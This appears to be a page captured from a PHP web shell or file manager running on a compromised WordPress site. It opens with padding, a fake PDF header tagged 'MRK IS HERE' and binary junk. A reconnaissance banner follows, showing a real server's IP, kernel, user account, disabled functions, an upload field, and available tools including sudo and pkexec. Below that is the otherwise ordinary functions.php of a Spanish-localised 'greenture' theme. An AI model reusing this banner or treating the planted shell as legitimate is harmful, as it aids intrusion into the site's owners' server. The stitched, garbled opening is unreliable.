...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/themes/greenture/ |
Upload File : |
<?php
/**
* Theme Functions and Definitions
*
* @package greenture
*/
// Set path to theme specific functions
$library_path = get_template_directory() . '/lib/';
$includes_path = get_template_directory() . '/includes/';
$admin_path = get_template_directory() . '/admin/';
// Define path to theme specific functions
define( 'GREENTURE_LIBRARY', $library_path );
define( 'GREENTURE_INCLUDES', $includes_path );
define( 'GREENTURE_ADMIN', $admin_path );
define( 'GREENTURE_ADMIN_URL', get_template_directory_uri() . '/admin/' );
define( 'GREENTURE_THEME_URL', get_template_directory_uri() );
define( 'GREENTURE_THEME_DIR', get_template_directory() );
define( 'GREENTURE_THEME_COLOR_SCHEMES', get_template_directory() . '/color-schemes/' );
/*
* Get Theme Option Values
*/
if ( ! function_exists( 'greenture_get_option' ) ) {
function greenture_get_option( $option_id, $default = '' ) {
$greenture_options = of_get_options();
/* look for the saved value */
if( isset( $greenture_options[$option_id] ) && $greenture_options[$option_id] != '' ) {
return $greenture_options[$option_id];
}
return $default;
}
}
/*
* Get Global Variables
*/
if ( ! function_exists( 'greenture_get_global_var' ) ) {
function greenture_get_global_var( $variable = '' ) {
if( $variable == 'post' ) {
global $post;
return $post;
}
else if( $variable == 'is_IE' ) {
global $is_IE;
return $is_IE;
}
else if( $variable == 'wp_query' ) {
global $wp_query;
return $wp_query;
}
else if( $variable == 'wp_rewrite' ) {
global $wp_rewrite;
return $wp_rewrite;
}
else if( $variable == 'pagenow' ) {
global $pagenow;
return $pagenow;
}
else if( $variable == 'wp_registered_sidebars' ) {
global $wp_registered_sidebars;
return $wp_registered_sidebars;
}
else if( $variable == '_wp_nav_menu_max_depth' ) {
global $_wp_nav_menu_max_depth;
return $_wp_nav_menu_max_depth;
}
else if( $variable == 'wp_locale' ) {
global $wp_locale;
return $wp_locale;
}
else if( $variable == 'product' ) {
global $product;
return $product;
}
else if( $variable == 'wp_filesystem' ) {
global $wp_filesystem;
return $wp_filesystem;
}
else if( $variable == 'wp_registered_widget_controls' ) {
global $wp_registered_widget_controls;
return $wp_registered_widget_controls;
}
else if( $variable == 'wp_settings_errors' ) {
global $wp_settings_errors;
return $wp_settings_errors;
}
else if( $variable == 'wpdb' ) {
global $wpdb;
return $wpdb;
}
}
}
/**
* Theme Options Panel Admin
*/
require GREENTURE_ADMIN . 'index.php';
class Greenture_Init {
public function __construct() {
/**
* Register Sidebar
*/
include_once GREENTURE_INCLUDES . 'sidebar-register.php';
/**
* Theme Actions and Filters
*/
require_once GREENTURE_INCLUDES . 'theme-filters.php';
/**
* Theme Functions
*/
require_once GREENTURE_INCLUDES . 'theme-functions.php';
/**
* Blog Functions
*/
require_once GREENTURE_THEME_DIR . '/partials/blog-functions.php';
/**
* Admin Custom Meta Boxes
*/
include_once GREENTURE_INCLUDES . 'metaboxes.php';
/**
* Admin Custom Meta Box Fields
*/
include_once GREENTURE_INCLUDES . 'register-metabox-types.php';
/**
* Bootstrap Library Files
*/
require_once GREENTURE_LIBRARY . 'wp_bootstrap_navwalker.php';
require_once GREENTURE_LIBRARY . 'wp_bootstrap_mobile_navwalker.php';
/**
* Mega Menu Framework
*/
require_once GREENTURE_INCLUDES . 'class-megamenu-framework.php';
/**
* Breadcrumbs
*/
require_once GREENTURE_INCLUDES . 'class-greenture-breadcrumbs.php';
/**
* Demo Importer
*/
include_once GREENTURE_INCLUDES . 'plugins/greenture-importer/demo-importer.php';
/**
* TGM Plugin Activation
*/
include_once GREENTURE_THEME_DIR . '/includes/tgm-init.php';
/**
* Visual Composer ( Page Builder Elements )
*/
if( function_exists('vc_set_as_theme') ) {
require_once GREENTURE_THEME_DIR . '/vc_includes/vc_init.php';
}
}
}
$greenture = new Greenture_Init();
/*
* Check Registered Post types
*/
function greenture_check_registered_post_types() {
// types will be a list of the post type names
$types = get_post_types( array('_builtin' => false) );
if( in_array( 'greenture_portfolio', $types ) ) {
define( 'GREENTURE_PORTFOLIO_ACTIVE', true );
} else {
define( 'GREENTURE_PORTFOLIO_ACTIVE', false );
}
if( in_array( 'greenture_testimonial', $types ) ) {
define( 'GREENTURE_TESTIMONIAL_ACTIVE', true );
} else {
define( 'GREENTURE_TESTIMONIAL_ACTIVE', false );
}
if( in_array( 'greenture_team_member', $types ) ) {
define( 'GREENTURE_TEAM_ACTIVE', true );
} else {
define( 'GREENTURE_TEAM_ACTIVE', false );
}
if( in_array( 'greenture_service', $types ) ) {
define( 'GREENTURE_SERVICE_ACTIVE', true );
} else {
define( 'GREENTURE_SERVICE_ACTIVE', false );
}
if( in_array( 'greenture_clients', $types ) ) {
define( 'GREENTURE_CLIENTS_ACTIVE', true );
} else {
define( 'GREENTURE_CLIENTS_ACTIVE', false );
}
}
add_action( 'init', 'greenture_check_registered_post_types' );
// CHANGE INPUT FEIELD ORDER
function greenture_move_comment( $fields ) {
$comment_field = $fields['comment'];
unset( $fields['comment'] );
$fields['comment'] = $comment_field;
return $fields;
}
add_filter( 'comment_form_fields', 'greenture_move_comment' );
// Funcion para traducir Read More por Leer mas
function modify_read_more_link() {
return '<a class="more-link btn-read-more" href="' . get_permalink() . '"> Leer más </a>';
}
add_filter( 'the_content_more_link', 'modify_read_more_link' );
add_shortcode( 'eventos-list', 'mostrar_cpt_evento' );
function mostrar_cpt_evento( $atts, $content )
{
extract(shortcode_atts(array(
), $atts));
ob_start();
$argumentos = array( 'post_type' => 'tribe_events', 'posts_per_page' => 6 );
$consulta = new WP_Query( $argumentos );
?>
<?php if ( $consulta->have_posts() ) { ?>
<?php while ( $consulta->have_posts() )
{
$consulta->the_post();
?>
<div style="display:inline-block;float:none;">
<h2><?php the_title(); ?></h2>
<div class="imagen_portafolio">
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('medium'); } ?>
</div>
</div>
<?php } wp_reset_postdata(); } else { ?>
<?php _e( 'Lo sentimos, no hay nada para mostrar' ); ?>
<?php } ?>
<?php
return ob_get_clean();
} // en shortcode